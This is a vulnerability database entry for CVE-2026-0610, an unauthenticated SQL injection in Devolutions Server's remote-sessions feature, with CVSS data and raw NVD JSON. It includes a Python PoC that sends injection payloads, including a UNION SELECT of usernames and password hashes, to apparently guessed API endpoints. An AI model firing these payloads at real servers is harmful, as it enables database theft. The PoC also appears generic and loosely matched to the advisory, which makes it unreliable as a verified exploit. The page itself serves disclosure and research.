Security Vulnerability Report
中文
CVE-2026-0610 CVSS 9.8 CRITICAL

CVE-2026-0610

Published: 2026-01-19 15:15:50
Last Modified: 2026-02-10 15:18:16

Description

SQL Injection vulnerability in remote-sessions in Devolutions Server.This issue affects Devolutions Server 2025.3.1 through 2025.3.12

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
Devolutions Server 2025.3.1
Devolutions Server 2025.3.2
Devolutions Server 2025.3.3
Devolutions Server 2025.3.4
Devolutions Server 2025.3.5
Devolutions Server 2025.3.6
Devolutions Server 2025.3.7
Devolutions Server 2025.3.8
Devolutions Server 2025.3.9
Devolutions Server 2025.3.10
Devolutions Server 2025.3.11
Devolutions Server 2025.3.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0610 PoC - Devolutions Server SQL Injection # Target: Devolutions Server < 2025.3.13 def exploit_sql_injection(target_url, payload_type='basic'): """ SQL Injection PoC for CVE-2026-0610 payload_type: 'basic' for boolean-based, 'union' for UNION-based injection """ endpoints = [ '/api/remote-sessions', '/api/v1/remote-sessions/query', '/api/sessions/remote' ] payloads = { 'basic': "' OR '1'='1", 'union': "' UNION SELECT NULL,NULL,username,password_hash,NULL FROM users--", 'error': "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--" } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Test for SQL injection vulnerability data = { 'session_id': payloads.get(payload_type, payloads['basic']), 'filter': 'active' } try: response = requests.post(url, json=data, headers=headers, timeout=10, verify=False) # Check for SQL error messages or successful injection if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential SQL Injection found at {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 200 and len(response.text) > 100: print(f"[+] Possible successful injection at {url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://vulnerable-server:5000") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-0610 SQL Injection on {target}") exploit_sql_injection(target, 'basic')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0610", "sourceIdentifier": "[email protected]", "published": "2026-01-19T15:15:50.080", "lastModified": "2026-02-10T15:18:15.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability in remote-sessions in Devolutions Server.This issue affects Devolutions Server 2025.3.1 through 2025.3.12"}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL en sesiones remotas en Devolutions Server. Este problema afecta a Devolutions Server 2025.3.1 hasta 2025.3.12"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.1.0", "versionEndExcluding": "2025.3.14.0", "matchCriteriaId": "4AB0B4A6-06F7-48B3-8A6A-FF16B36CA000"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0003/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}